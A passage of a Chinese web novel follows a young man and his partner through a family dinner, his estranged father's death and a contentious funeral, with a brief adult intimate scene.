“他给我的我一分也不会少拿。”邹飏说。 “咱们不缺钱,”老妈说,“我主要是怕他们跟你闹。” “闹什么,我怕闹么,”邹飏啧了一声,“我有的是时间。” “死犟。”老妈拍了他一下。 “给他的就是他的,”吕叔在旁边说,“是他的他就拿上,不是说要图那点儿钱,是没必要吃这种亏。” “你最懂了,”老妈也啧了一声,皱着眉,“万一他一分没给小飏留呢,他在外头……都那么多年了。” “那就不管了嘛,反正也不是图钱。”吕叔说。 老妈愣了愣。 邹飏笑了起来。 饭菜很快就做好了,两大锅,很香。 吕泽的女朋友下了班也过来了,一屋子人很热闹。 邹飏本来只是想着挺久没过来看老妈了,过来吃个饭,没想到会比过年的人都还齐。 人肯定都是吕叔张罗过来的,这么隆重,弄得邹飏有都有点儿不好意思了。 “以前人都没走的时候,这儿一直都这么热闹,”樊均小声说,“他们都习惯了。” “现在……”邹飏想了想,“平时没这么多人了吧。” “现在除非周末这帮小孩儿过来,要不很难再凑出这么多人了,”樊均笑笑,“也是借这个机会热闹一下吧。” “樊哥!”猴儿喊了一声,“他们能喝酒吗?” “不能,”樊均说着又指了指他,“你也不能。” 一帮小孩儿顿时发出了长长的叹气声。 “什么动静,”樊均说,“不知道的以为你们天天有酒喝呢。” “菠萝啤吧,”吕叔笑着打开冰箱,“喝这个,也沾个啤字儿呢。” 小孩儿们又一通欢呼,也不知道为什么这么高兴。 一顿饭邹飏吃得身上都有些冒汗,发烧是彻底不烧了,就是感觉疲惫。 也不知道是烧的还是昨天体力消耗有点儿大…… 啧啧啧。 “我吃撑了。”邹飏放下碗。 “吃饱了吗?”老妈看着他,“那个见习还有多久啊?怎么感觉你瘦了?” “真没瘦,”邹飏说,“见习除了早起,也不累,比上课轻松多了。” “均儿倒是真瘦了,”老妈又看了看樊均,“是瘦了吧?” 老妈一直执着于每一个她眼中的孩子的胖瘦。 “瘦了点儿。”樊均说。 “那得多吃点儿啊。”老妈说。 “他是因为受伤,力训做少了。”除了吃东西一顿饭几乎没开过口的吕泽突然说了一句。 邹飏迅速偏开了头,有点儿想笑。 “啊?”老妈愣了愣。 “最近光跑步了吧。”吕泽看着樊均。 “嗯。”樊均埋头把碗里的饭扒拉光,放下了筷子。 “手恢复得怎么样了?”吕叔问。 “还行。”樊均说。 “是真还行吗?”邹飏坐在训练馆的椅子上,看着一帮在垫子上来回翻着的小孩儿,也不怕刚吃的一肚子饭喷出来。 “医生说的,坚持下去,后面恢复会越来越快,”樊均说,“之前我太急了。” “现在不急了吗?”邹飏看了他一眼。 “嗯,不急了,”樊均笑了笑,从旁边架子上拿了个不知道谁扔在那儿的拳套,往正跟猴儿练拳的孙旭磊砸了过去,“手别掉!” 拳套正中孙旭磊的脑袋,他喊了一声:“哎呀!我习惯了!掉就掉了吧!” “过来!”樊均站了起来,走到训练区。 “过去!”猴儿一叉腰。 孙旭磊啧了一声,走了过来。 “来。”樊均站了个起式动作。 孙旭磊有些不情愿,但还是也举起了拳,接着就认真地对着樊均的手掌挥了一套组合拳。 啪啪啪的劲儿很足。 “很好,”樊均抬了抬下巴,“再来。” 孙旭磊不经夸,一句话立马就得瑟起来,跟着的这一组拳立马就掉手了,右手出完拳没有及时回到保护位。 樊均紧跟着左手一巴掌就打到了他脑袋上。 “我靠!”孙旭磊喊了一嗓子,这一震惊分神,左手也没顾得上,又被樊均右手往脑袋上呼了一巴掌。 “我靠!”他又喊了一声,迅速往后跳着躲开了。 “掉就掉了吧,”樊均说,“不就挨两拳的事儿么。” “知道了!”孙旭磊喊,“我注意!” “哎,”猴儿在旁边看得很愉快,“不挨两下就不改,就这么倔。” “来!”孙旭磊冲他喊了一嗓子。 “吓唬谁呢。”猴儿笑得更愉快了。 樊均坐回邹飏身边。 “猴儿现在是跟着吕泽练吗?”邹飏记得猴儿的水平还不错的,能去打比赛的那种。 “嗯,”樊均点点头,“去新新馆那儿。” “刘文瑞他们还去练过几次,”邹飏说,“说挺好的,还新来了教练。” “嗯。”樊均点点头。 邹飏没再接着问下去。 樊均还能不能做教练,或者还愿不愿意做教练,这些的前提都是他手完全恢复,现在讨论有点儿早了。 不过无论他以后还做不做教练了,邹飏的确是很喜欢他给人上课时的这种状态,很……性感。 他清了清嗓子。 “要去陪珊姐聊会儿吗?”樊均转头看着他,“一会儿该走了,我晚上还要去店里。” “嗯,我去聊几句的。”邹飏起身伸了个懒腰,往厨房走过去。 厨房里吕泽和小艺姐都在,邹飏进去的时候听到老妈说了一句:“就咱们这几个人吃一顿就行了,酒席就不用了吧,毕竟是二……” 看到邹飏走进来,她立马闭了嘴。 邹飏立马反应过来这是在说结婚的事儿。 老妈有些尴尬,他也尴尬。 但老妈当着吕泽和小艺姐的面儿都能跟吕叔讨论这事儿,对着她亲儿子却开不出口,又让邹飏有些不爽。 “正好,小飏也给点儿意见吧,”吕叔开了口,“我们正好聊到……结婚的事儿。” “定日子了吗?”邹飏问了一句。 虽然有点儿不爽,但他也不是不能理解老妈这个心态,跟自己差不多,就是尴尬。 “早呢,就是……聊着聊着聊到了。”老妈说。 “得到年底了,”吕叔笑笑,“现在倒的确是还早,你妈的意思是就不办了,自己家几个人……” “因为是二婚吗?”邹飏问,“还是你们就不想办啊?” “哎呀,”老妈低下头,脚把地上的一个小垃圾桶从这头扒拉到那头,又扒拉到边儿上,“二婚不都说要低调点儿嘛……” “为什么啊?”邹飏说,“二婚找着好的了为什么不能高兴高兴。” “小孩儿别管。”老妈说。 “哪儿来的小孩儿?”邹飏问。 “他二十了。”吕叔说。 “我还不知道他多大吗!”老妈瞪了吕叔一眼。 “想办就办,又不是什么坏事儿。”邹飏说。 “你妈妈是担心有些人会不来。”吕叔笑着说。 “不来不来呗,”邹飏说,“你又不是跟他们结婚。” “哎哟,”老妈有些尴尬地推了他一下,“你别管了,别管了……” “吕泽都能在这儿坐着呢,我为什么不能管。”邹飏说。 吕泽猛地抬头看向他。 “我不是……”邹飏顿时也尴尬了,“那个意思。” “其实我们也是觉得该办就办,”小艺姐笑了笑,“不用管那么多,主要还是自己高兴啊,这是个喜事。” “嗯。”吕泽应了一声以示赞同。 “对。”邹飏赶紧点头。 “知道了,”老妈说,“还早呢,先不提了,刚也就是突然不知道怎么聊到这儿了……到时候再说吧。” “我回去得好好睡一觉。”邹飏坐在副驾,后视镜里还能看到站在旧馆院门口目送他们的一群人。 “怎么了?”樊均问。 “脑子有点儿转不动了。”邹飏闭上眼睛。 “刚又说什么了不得的话了吗?”樊均笑了笑。 “也……还好吧,就是……提了一嘴吕叔和我妈结婚的事儿。”邹飏说,得亏是吕泽嘴笨。 “怎么突然说这个?”樊均有些奇怪,“是不是珊姐不想办?” “哎?”邹飏睁开眼睛看着他,“你挺了解你姐啊舅舅。” “……她心思重,”樊均说,“这种事儿她肯定担心别人会怎么想。” “反正到时他俩要想办又怕有人不来,”邹飏说,“我就叫上我同学,让同学带上他们的什么朋友同学的,不就是人么。” 樊均笑着没说话。 “笑屁。”邹飏说。 “我特别特别喜欢你这个样子,”樊均说,“很可爱。” “不帅吗?”邹飏马上问。 “帅这个还用说吗?”樊均说。 “可爱也不用说啊。”邹飏说。 “……那以后还说吗?”樊均问。 “给我转人工!”邹飏喊了一声。 何川对樊均好一些也不是没原因的,毕竟是他这个店的唯一员工,除了休息日,每天工作时间得到晚上十点,虽然时间卡得不严,但也没人能轮班。 今天何川倒是在店里,不过没干正事儿,跟一个朋友在喝茶。 樊均拿着个相机给之前到的货拍照,这拍照还不是直接咔嚓一张就行,得各种摆角度,打灯营造氛围。 好在这个店的布置就按氛围感来的,樊均拿着这些瓶子盒子的这里摆摆那里拍拍。 邹飏靠在躺椅里,抱着笔记本,他们小组的见习报告可以开始写了。 他扫一眼樊均,低头敲几下键盘,再扫一眼樊均,再低头看看刘文瑞他们发过来的每日工作记录,再扫一眼樊均…… “邹飏,”旁边的何川看着他,“你是在画画吗?” “什么?”邹飏愣了,没听懂他说什么。 “画樊均吗?”何川说。 ……这么明显吗? “啊,”邹飏赶紧低头在屏幕上划拉了两下,“写报告写烦了就……” “你不用拿个什么专业的那种板子笔什么的吗?”何川的朋友有些好奇地问了一句。 这人还不是个完全不懂的。 有没有什么趁手的武器能给这俩打晕了的! “随便画着玩的,”邹飏把笔记本合上了,“这个是触摸屏,我就手指头随便划拉几下。” “哦——”何川跟他朋友一块儿点了点头,继续喝茶聊天。 邹飏松了口气,往樊均那边儿又看了一眼。 樊均正靠在架子边儿看着他笑。 笑什么! 邹飏口型说了一句。 樊均没说话,举起相机,对着他拍了一张。 啧。 邹飏靠回躺椅里,打开笔记本,看着他又说了一句,再拍一张。 樊均再次举起相机,对着他又拍了一张。 邹飏晃了晃躺椅,多么惬意宁静的晚上啊,要何川不在就好了…… 第95章 如果第二天不用去见习就好了。 见习剩下这一周,他基本都回学校住的,七中虽然不是每天都去,去了也不是上下午都排满,但早上肯定得准时到,而且事儿比上课麻烦多了。 几天里他们还主持了一次班会,协助了一次板报,还扮演一次知心大哥哥,给迷茫的高一学生讲了讲自己是如何度过高中三年的…… 这些事儿都得写进报告里,还得配上一堆照片。 “李知越,照片你就直接发了?”刘文瑞看着群里李知越发的一堆照片。 “不然呢?”李知越说,“我先舔一遍再发。” “你不修一下再发吗!”刘文瑞提高声音。 “是得修,咱们上回拍的艺术照,不修就不行,杆子都在那儿呢。”张传龙一边打游戏一边说了一句。 “不是,”李知越很震惊,“就搁文档里的照片,居然还要修图?谁看啊!” “老师看啊!”刘文瑞说。 “老师不认识他吗?”张传龙一边打游戏一边又问了一句。 李知越往床上一倒,笑出了声音。 “坑你队友去你别说话。”刘文瑞瞪了他一眼,转头又看着李知越,“只要离开自己手机的照片,就应该修,人生虽然没有那么多观众,但万一来一个观众,你怎么办!” “他看我了我需要怎么办吗,我打他啊?”李知越笑着说。 “你收了去修,”邹飏坐在桌子前头,一边打字一边听得脑壳都疼了,“有你逼逼这点儿时间都修完了,你让李知越修他会么,他把自己拍变形了照样往朋友圈儿里发。” “……行吧。”刘文瑞叹了口气,坐到桌子旁边开始修照片。 邹飏舒出一口气,接着写报告。 其实刘文瑞想修一下照片也能理解。 这些活动的时候,人往那儿一杵,几十双眼睛盯着你,时不时还有不明原因的笑声,这种状态下,除了张传龙,他们几个都很难做好表情管理。 刘文瑞效率还是很高的,没多大一会儿,修过的照片就重新发到了群里。 邹飏把照片放进了报告里,排版,加上文案…… 最后一段心得体会他都已经开始写了,只等着后天七中给他们办的小欢送会开完,把过程和感动加进去就行。 以前作业什么的,他不会这么积极,一般都拖到再不动就来不及了才开始。 但这次他格外认真积极,倒不是因为见习什么的,还是因为在宿舍如果呆着静下来,他会忍不住想到老爸的事儿。 这几天老爸那边都没有消息,没有人联系他,老妈也没说什么,不知道是没人再给她打过电话还是打了她没接。 所以现在的感觉就有点儿奇怪。 像是大家都沉默地等待着老爸一点一点走向终点。 他偶尔也会想听到那边的消息,但现在这情况,只要电话响起,那就基本就是老爸的死讯。 “练得还行了,凑合可以正式开始了,不行的地方我帮你改,”小龙把经过了退火和酸洗之后的铁片放到了操作台上,上面是他昨天已经描好了的线条,“今天先勾轮廓。” “嗯。”樊均点点头,把围裙系好,站到操作台边,拿起了一个线条錾,“先用这个勾线对吧?” 铁片昨天他已经在小龙的指点下用锤子打出了基础轮廓,鼻子,眼眶什么的,今天就得开始外圈的线条了。 “嗯哼。”小龙应着。 樊均吸了一口气,把錾头对着最外沿的细线,稳住左手,握紧,然后右手的锤子落下。 錾头轻轻一震,在铁片上切出了一条小小的道子,他顺着画好的线条慢慢移动錾头,锤子一下下敲打着,一根细线慢慢被勾了出来。 线条中断的位置是几个圆圈,这里是拐角,需要打出几个圆圆的小凸起。 樊均放下线条錾,伸手想拿个窝錾的时候,小龙开了口:“我之前怎么说的来着?” “……用完的工具要先复位。”樊均把线条錾拿起来放回了一排摆放整齐的錾子中间。 “很好,”小龙叉着腰,“下一步。” 樊均看了她一眼,拿起了窝錾。 “看什么,我现在是你的师父,”小龙说,“老何说你当教练的时候可凶了,一言不合上脚就踢。” “他这是诬陷。”樊均说完把铁片翻过背面,又吸了一口气,稳住手,用窝錾在背面敲出了几个小圆坑。 翻回正面,几个小圆点看上去还挺完美。 “你手还挺稳的了,这么看着不像受过伤,”小龙说,“肌肉力量很强嘛。” “还行。”樊均说。 “一点儿都不谦虚啊。”小龙笑了。 樊均笑了笑,放回窝錾,又继续打线条,左手的确比之前要稳了,只是保持静态收缩的时间不能太长,否则就会抖。 就这点儿线条,敲了一个中午,居然也就刚打完一圈的轮廓,内圈还有花纹和线条…… 从铁匠铺出来的时候,樊均感觉左手都震麻了。 刚走到古玩那条街,何川的电话打了过来:“在哪儿?” “街这头。”樊均说。 “酸奶店那儿等我,”何川说,“跟我去上回去过的那个特别难喝的咖啡店。” “那家就是特别难喝,”樊均在路边停下了,“不用再去确认了吧?” “谁去喝了,去谈盘店。”何川说。 “嗯?他们不干了?”樊均愣了愣,这家店年后才刚开的,位置非常好,之前何川想抢这个位置,没抢过他们,没想到这就不干了。 “谁知道呢,反正找我了,去看看能不能趁火打个劫。”何川说。 这家店老板是个年轻人,姓李,跟何川年纪差不多,三十左右。 这个店装修花了不少钱,很精致,奔着各种出片去的,这会儿本儿都不知道回没回来。 “李哥。”何川进门打了个招呼。 “来了,”李哥冲他俩点了点头,转身就往咖啡机那边走,“喝点儿咖啡吧。” “不了,”何川说,“我说实话,你这儿的咖啡真的是我喝过的最难喝的精品咖啡了。” 李哥笑着叹了口气:“你们喝惯了茶的……” “我也喝咖啡的。”何川一点儿面子也没给留。 【邹yang】我课间休息,一会要去看他们学校搞的辩论赛,你在干嘛 樊均靠在窗边,看了一眼那边桌边儿坐着正聊着的何川和李哥。 【樊】充当谈判背景板 何川并不需要他说话,很多时候何川谈事儿的时候叫上他一块儿,为的就是人数+1,以及他看上去黑道保镖一样的迷惑外表。 奸商! 李哥找何川并不是想盘店,只是知道何川之前对这个铺面很有兴趣,现在资金周转不过来,家里又出了事儿需要用钱,想找他合伙,缓解一下压力。 何川当然不可能做这种善事,他就是冲着盘店来的。 “我这么说吧,你钱上要是真有压力,解决的最好办法就是把店盘给我,”何川说,“你店里这些东西我都可以给你折价,保证你不亏,拿到手是实打实的钱……” “这样我这生意就算完了啊,”李哥有些不情愿,“何老板,我还是希望能……” “合伙我肯定不同意,”何川很干脆,“你要说谁愿意的,人家投进来的钱,也不可能到你手里的,还是得靠后期营业收入,那这战线拉得可就长了,你要不着急钱,那也可以再找人问问。” “我再……考虑一下吧。”李哥叹了口气。 走出咖啡店,何川伸了个懒腰:“哎——” “你要把那些设备都买下来吗?”樊均问,“再开个咖啡店啊?” “也不完全是,他要真同意了,可以再压价,”何川说,“开咖啡店是不行的,这片儿除了那边那家大的,开一家倒一家,我想弄个店,把现在那些压着的货清一下,小件儿的,合适现代风格的那些摆过来,搞个艺术风格浓点儿的,顺带卖卖咖啡,叫什么,艺术咖啡。” “哦。”樊均应了一声,“但你就那么跟他聊得一点儿商量都没有,他回头该找别人了。” “不可能,他这个店不会有人合伙,如果是盘下来,价格不低,”何川啧了一声,“现在都不景气,谁愿意一下拿那么多钱出来,我想拿下也得问何陆借点儿。” “借钱?”樊均看了他一眼。 “嗯,跟她合伙也行,但她现在不愿意跟我一块儿。”何川叹了口气。 “哦……”樊均没再说话。 “去吃点儿什么?”刘文瑞问,“我请客!” “哟?”李知越看着他,“我先问一下人均。” “八十!”刘文瑞一挥手。 “哟?”邹飏也看着他。 “哟个屁,我妈给的意外惊喜,说我上班辛苦了,”刘文瑞说,“吃不吃!” “吃。”张传龙说。 邹飏拿了手机准备给樊均发个消息,他明天最后一天见习,想让樊均过来接他去出租房那边儿。 手机还没解锁,大姑的电话就打了进来。 邹飏盯着电话号码,手微微有些抖,半天都没敢接电话。 刘文瑞凑过来看了一眼,问了一句:“要不我来?” “没事儿。”邹飏一咬牙,接起了电话,“大姑。” “邹飏啊,”大姑说话带着很重的鼻音,嗓子也有些哑,“你爸刚……没了。” “……嗯。”邹飏停下脚步,应了一声。 “给你妈打电话她是不接的,你要是还有点儿良心,还当他是你爸,”大姑说,“明天去送他一程,十点直接到……” “知道了。”邹飏也没细听,那边说完他就挂掉了电话。 “人没了?”刘文瑞问。 “嗯。”邹飏应了一声。 “那你……”李知越看着他。 “先吃饭去。”邹飏说。 他们在七中附近找到了一家挺好吃的家常菜小餐馆,不用人均八十,人均四十就能吃得很爽了。 邹飏感觉自己心情没怎么受影响,点菜吃饭聊天儿,一切如常。 一直到看到樊均从餐馆大门外走进来的时候,他先是震惊,接着才猛地感觉到了有些想哭。 “你怎么……来了?”他站了起来。 “樊哥是我叫过来的,”李知越也站了起来,“你别生气……” “我们主要是有点儿不放心你。”刘文瑞说。 邹飏没说话,只是盯着樊均。 樊均走到他面前了,他才开口问了一句:“吃饭了吗?” “没。”樊均笑笑。 “我加俩菜,一块儿吃点儿,”刘文瑞立马边摸手机边喊了一嗓子,“服务员!加套碗筷!” 服务员拿了碗筷过来,刘文瑞又点了两个菜。 “是通知你明天去吗?”樊均坐下之后低声问了一句,在桌子下面握了握邹飏的手。 “嗯。”邹飏点了点头。 “挺快的,估计之前已经准备着了,”刘文瑞说,“明天你过去有什么事儿别忍着,他们敢在这种场合找你麻烦的话,你也就没必要顾着什么大局了,该发火就发火。” “嗯。”邹飏笑了笑。 “樊哥明天陪他过去吧?”李知越问。 “嗯,我刚出来的时候已经请好假了。”樊均说。 出来的时候有点儿急,没跟何川拿车,樊均是骑电动车过来的。 也正好,邹飏谈不上有什么难受,但多少感觉有点儿堵,骑电动车能吹吹风,还舒服些。 刘文瑞他们走了之后,邹飏正准备上车,樊均从兜里拿出了一小纸盒:“想吃甜的吗?” 刚吃完饭,邹飏还真有点儿想吃甜食。 但是…… “这什么?”他接过小盒子打开了。 居然是一个小小的红丝绒蛋糕。 “你是不是挺喜欢吃这个的?”樊均问。 “嗯,”邹飏愣了,“你怎么……” “过来的时候买的,就这一个了,我又着急过来,”樊均说,“就没买他们的。” 邹飏没说话,盯着蛋糕看了一会儿,伸手扳过樊均的脸,吻在了他唇上。 樊均第一反应是往后躲了躲。 但很快又迎了回来。 身后就是餐馆大门,站着吃完饭刚出来的一大帮子人。 路灯就在身边,很亮。 八点多的路上行人和车都很多。 视野里能看到很多人,耳边能听到很多声音。 非常大庭广众。 但这一秒邹飏脑子里除了吻樊均,没有任何别的想法。 这一秒他就只想要闻到樊均身上青草的香味儿,想舔到他唇上那道疤,想咬住他的舌尖…… 要不是樊均抓住了他的手,他可能下一秒就会伸手去扯开樊均的衣服。 离开樊均的唇时,有风轻轻扫过,嘴唇上的微凉把他拉回了眼下。 “走吧。”他跨上了车,偏过头也没好意思往餐馆大门那边儿看。 “嗯。”樊均发动车子。 往前开出了一个路口,他才凑到樊均耳边说了一句:“我靠,我刚疯了吗?那儿离七中那么近,万一有学生怎么办?” “明天见习最后一天,你都请假了,”樊均说,“以后也未必会到七中上班,没……不怕。” “这里说个没事儿是没事儿的。”邹飏笑了起来。 “没事儿的。”樊均说。 “怎么不拒绝一下我?”邹飏问。 “怎么拒绝?”樊均问。 “躲开啊。”邹飏说。 樊均沉默了一会儿:“……我不想。” 回到家里,邹飏感觉自己之前憋闷的心情已经好了不少,但还是没什么精神,觉得困,跟小白大黑玩了一会儿,他去洗了个澡就躺到床上了。 樊均也没再回店里,洗漱完也躺到了床上。 “明天几点?”他翻个身搂住邹飏,手在他腰上摸了摸。 “十点。”邹飏闭上眼睛。 “那时间足够,你可以踏实睡。”樊均说。 “我刚看到你的时候,就已经踏实了,”邹飏轻声说,“李知越怎么跟你说的啊?” “就说你爸……感觉你情绪不太好,”樊均鼻尖在他耳朵上轻轻蹭着,“让我过来接你,然后发了个定位……” “吓着你了吗?”邹飏问。 “那倒没有,”樊均笑笑,“你不是那种碰上事儿会乱的人。” “那你还过来。”邹飏啧了一声。 “想见你了。”樊均的手在他腰上轻轻捏了捏。 “你手上有伤,”邹飏摸到他左手,在拇指上轻轻摸了摸,“怎么弄的?” “搬货的时候夹的。”樊均说。 “工伤啊?”邹飏转过脸。 “嗯,何老板赔我钱了。”樊均说。 “樊均你跟我说瞎话道行太浅了知道么。”邹飏搓了搓他手指。 “那等我再修炼一阵儿的。”樊均收紧了摸在他腰上的手。 邹飏笑了笑没说话,抓住了他的手。 “不让抱啊?”樊均问。 邹飏还是没出声,抓着他的手往下,按在了自己小腹上。 樊均顿了两秒,手轻轻抚过,指尖在皮肤上勾划着继续向下。 “我能……”邹飏的声音很低,裹在渐渐有些短促的呼吸里,“耍个赖吗?” “嗯?”樊均应了一声。 “你帮我,”邹飏说,“然后你……自己解决。” “好。”樊均撑起身,低头吻住他。 向下的手握紧时,用膝盖压住了他想要屈起的腿。 第96章 不知道是不是因为今天情绪有些不稳,邹飏感觉自己比平时要敏感得多。 短短几秒的触碰就已经让他迅速进入了状态,搭在眼睛上的手指甚至有些微微颤抖。 “关灯吗?”樊均问,指尖划过。 邹飏声音有些不稳:“不用。” 樊均低头时呼吸从他腿上扫过。 落在皮肤上时很轻,挑在连接着心脏的那根神经上时,却很重。 邹飏仰头吸了一口气,绷了绷身体,气息里带出一声低吟,满耳都是跟着樊均节奏的自己的心跳。 “均儿……”他抬起右腿,用脚踝上的小金币在樊均腰上蹭了蹭。 樊均没说话,左手一把抓住了他的脚踝,看着他。 邹飏挣扎了一下,没挣脱。 樊均的右手微微旋转,掌心的温度一点点烙透了他的欲望。 “你……开始,”邹飏低声说,“现在。” 樊均缓缓直起身,手指勾住裤腰,往下拉到一半的时候邹飏遮着眼睛的手拿开了。 “……就这样。”他说。 …… 樊均手撑着床靠,跨在邹飏身上,低头看着他。 还没有平复的喘息声里能看到两个人起伏的胸口。 他伸手在邹飏嘴唇上勾了一下。 “我困了。”邹飏用力吸了一口气,长长地舒了出来,眼睛半睁着小声说了一句。 “不洗洗了吗?”樊均看了看他胸口和小腹。 “我不想动了,”邹飏闭上了眼睛,“以后你瞄别的地方开枪。” “……是你要看的。”樊均说。 “我靠,”邹飏又睁开了眼睛,看着他,“你是什么都说啊哥哥。” 樊均跨过他下了床,抽了几张纸巾:“刚怎么不叫哥哥?” “还能每次都叫么,”邹飏笑了笑,“以后阈值高了怎么办……” 樊均张了张嘴,没说出话来,最后只能弯腰给邹飏擦了擦身上的痕迹:“你不想动的话,我拿毛巾给你擦一下?” “嗯。”邹飏应了一声。 这人虽然说不想动了不洗了,看似不讲究那么多了,但实际上支使着他来回走了四趟。 搓毛巾,擦,搓毛巾,擦,搓毛巾,擦,搓毛巾,擦…… 来来回回走得在客厅睡觉的小白都站起来了,偏过头用一只眼睛盯着他。 “别看,睡你的,”樊均最后一趟把毛巾拿回了浴室,顺便收拾了一下自己,“你小飏哥哥有洁癖。” “我在你面前就是个乱七八糟的人。”邹飏很舒服地摊开手脚躺在床上闭着眼睛。 樊均把他手脚归置到一块儿,关灯上了床,拉过被子盖上了。 “樊均。”邹飏叫了他一声。 “嗯。”樊均翻了个身搂住他。 “你可以去拍视频。”邹飏说。 “什么视频?”樊均问。 “擦边儿。”邹飏说。 “……滚。”樊均没忍住。 邹飏笑着没说话,闭上眼睛没多大一会儿就睡着了。 樊均也闭上了眼睛,脸埋到邹飏肩窝里,能听到他平稳的呼吸。 有些发凉的鼻尖贴在邹飏脖子上,能感觉得到他跳动的脉搏,没多大一会儿整张脸都变得很暖洋洋的。 这种感觉很踏实,整个人像是藏在了安全屋里,很安心。 这一晚上睡得挺好的,因为睡得实,早上比平时醒得稍微晚点儿。 邹飏依旧是醒不过来的状态,樊均起床的时候不小心在他腿上撑了一下,他也就是哼了一声,翻了个身就继续睡了。 这人住宿舍的时候,平时早上是怎么起来上课的呢…… 十点去殡仪馆,樊均昨天就查了一下路线,不是太远,骑电动车过去大概不到一小时。 他遛完狗买了早餐回来也没叫邹飏,邹飏见习这段时间看上去一直都有些疲惫,多睡会儿吧。 他坐在床边打开手机,把那张面具的图打开看了看,虽然现在面具还只是个雏形,他已经能想象应该会很酷……如果他打的过程中没出错的话…… 八点半的时候他拍了拍邹飏的脸。 “嗯。”邹飏皱着眉应了一声。 “起床了,”樊均扳正他的脸,“邹飏。” 邹飏没有反应。 樊均伸出拇指和食指,在邹飏脸上比了比,跟面具大小是差不多的,虽然那玩意儿也不是用来的戴的,但他还是希望大小跟邹飏的脸能差不多大小。 ……邹飏长得真的是非常好看。 睡得完全没知觉的时候也非常好看。 他低头在邹飏微微有些皱起的眉心亲了一下。 又拿过手机看了一眼。 ……不能再看了。 “喂。”他又拍了拍邹飏的脸,“我直接拽你起来了啊?” “嗯。”邹飏应了一声,不知道是真的听到了还就是哼一声而已。 樊均站了起来,走到邹飏身边,掀掉床子,抓着邹飏的胳膊,把他从床上拽了起来。 “啊……”邹飏拉长声音,终于睁开了眼睛,“我困……” “回来再睡吧,不是请了一天的假吗?”樊均说,“回来睡到明天。” “去哪儿?”邹飏问。 虽然很不愿意回答,樊均还是不得不轻声说了一句:“你爸的葬礼。” 听到这句话时,邹飏靠在他身上没了声音,过了一会儿才开口,声音已经恢复了清醒状态:“几点了?” “八点半,”樊均拍拍他后背,“半小时收拾吃东西,过去一小时正好。” “嗯。”邹飏定了几秒钟,转身从床边椅子上拿了衣服慢慢穿上,往浴室去洗漱的时候,手机响了。 樊均拿过他扔在床头柜上的手机看了一眼:“曹律师。” “嗯,”邹飏又走了回来,“这个得接一下。” “邹飏你好,我是曹忠,令尊邹砚清先生的遗嘱执行律师,”那边传来曹律师的声音,“我们在医院见过一面。” “嗯。”邹飏应了一声。 “根据《民法典》第1145条及遗嘱条款,将本周六上午十点,律师事务所进行遗嘱宣读,”曹律师的声音一板一眼的,“您作为第一顺位继承人必须到场……” “哦,”邹飏把手机拿到眼前看了看日历,“我知道了,还有谁会到场?” “还有邹天瑞和她的监护人,”曹律师说完顿了顿,换了个不那么一板一眼的语气,“我可以以你父亲朋友的身份提醒你,他的兄弟姐妹有可能也会到场,我们会尽量不让他们干扰到宣读过程,但你也要有个心理准备。” “谢谢。”邹飏轻轻呼出一口气,其实老爸钱也不见得有多少,但这些人的架式仿佛他是个什么豪门老总。 “到时我也过去就行,”樊均骑车带着他往殡仪馆方向开着,“我在外面等。” “准备打架啊?”邹飏凑到他右耳边笑着问。 “一般没人跟我动手。”樊均也笑笑。 “不敢是吧,”邹飏偏头在他脖子上亲了一口,“其实你也没有长得多凶,就算现在再加上一条疤,也没多凶。” “是么?”樊均问。 “我第一次看见你只觉得你有点儿拽,”邹飏说,“没觉得你凶。” “我是听不清,再加上那天吧,我一开始以为你们是来找麻烦的,就不太想理,”樊均想了想,“之前有个跟吕泽不对付的来过,被收拾了……” “现在想理吗?”邹飏收了收胳膊,搂紧他。 “想。”樊均说。 “有多想?”邹飏问。 “非常想,特别想。”樊均笑着说。 一路上邹飏的心情都还可以,只要不细想目的地,甚至有种他和樊均是去哪儿玩的错觉。 一直到看见大姑他们,邹飏的情绪才被打回了现实里。 不过现在他不再像昨天那么低落,所以那些复杂的郁闷的情绪,他就当它们都已经被射出去了。 biu~ 啧。 邹飏你什么毛病。 大姑眼睛很红肿,也不太愿意搭理他,给身边一个挂着殡葬公司工牌的人指了指他之后就抹着眼泪走开了。 工作人员走了过来,给他简单介绍了一下一会儿仪式的流程,然后把一朵白色的花别在了他和樊均胸口上,他胸口那朵花上还有一个孝字。 邹飏轻轻叹了口气。 工作人员再拿过一根白布条想要往他脑袋上系的时候,邹飏抬手挡了一下:“这个就不要了。” 一切都沉默地进行着,老爸家里那边的亲戚来了不少,很多远房的邹飏都不太认识,还有很多朋友。 邹飏跟着指引进了礼堂,按工作人员给指的位置站好,樊均跟他分开了,作为朋友和远房亲戚们都在礼堂大门那边。 位置还没全站好,门口传来了大姑和二姑的叫骂声。 邹飏转头看过去的时候,发现邹天瑞头上扎着根白布条,被几个人护着正要往里走,大姑二姑拦在门口不让进。 “这是她亲爹!你们凭什么不让她进!”邹天瑞身边的女人扒拉着大姑他们。 “问问她亲妈!她亲爹怎么死的!”大姑尖叫着,“杀人犯的女儿还想来祭拜!门儿也没有!” “大人的事少往小孩儿身上扯!” 邹飏只觉得脑袋炸炸的,他往老爸的棺材那边看了一眼,棺材不是透明的那种,是实木全封闭的,不知道老爸的魂儿能不能听到外面的吵闹声。 门口乱成一团,邹天瑞不知道怎么的没人拦着了,神色木然地径直走了过来。 邹飏往门口那边又看了看,正好跟樊均的视线对上了,樊均一脸无奈地看着他。 把他们弄出去。 邹飏口型说了一句。 樊均点了点头,转身对着扭成一团的人推了一把。 人堆顿时往外乱七八糟地移动了几步,樊均跟过去对着也不知道谁的后背又是一推。 他这一带头,躲在一边看热闹都吵得莫名其妙的亲友立马跟上,把这一坨人都推了出去。 “开始吧,”邹飏说,“致词什么的省掉吧,简单点儿。” 身后的工作人员愣了愣,小声问旁边的同事:“开始?” “听孝子的。”同事说。 礼堂里音乐声响起时,外面的吵闹声终于变小声了,接着慢慢停下了。 邹飏跟着工作人员走过去给棺材鞠躬,绕圈儿,回到自己的位置上,邹天瑞跟他一样的流程,还是神色木然,但满脸的眼泪。 邹飏哭不出来,也不想哭,有一瞬间他甚至觉得自己是个局外人。 他跟眼前这一切似乎都没有什么关系。 也不想再有什么关系。 仪式并不长,很快就结束了。 邹飏快步走出礼堂,樊均和两个男人坐在外面花坛边正说着话。 “结束了?”樊均看到他出来,起身问了一句。 “嗯。”邹飏看了一眼那两个男人,感觉有点儿眼熟。 “这两位是……邹总的朋友,”樊均给他介绍了一下,“唐大哥,于大哥。” 神奇,邹总的朋友需要樊均来给邹总的儿子介绍。 “感谢二位过来。”邹飏说。 “你初中那会儿到你爸公司来,我们还见过的,”于大哥笑了笑,“可能不记得了,长这么大了。” “是……不记得了。”邹飏说。 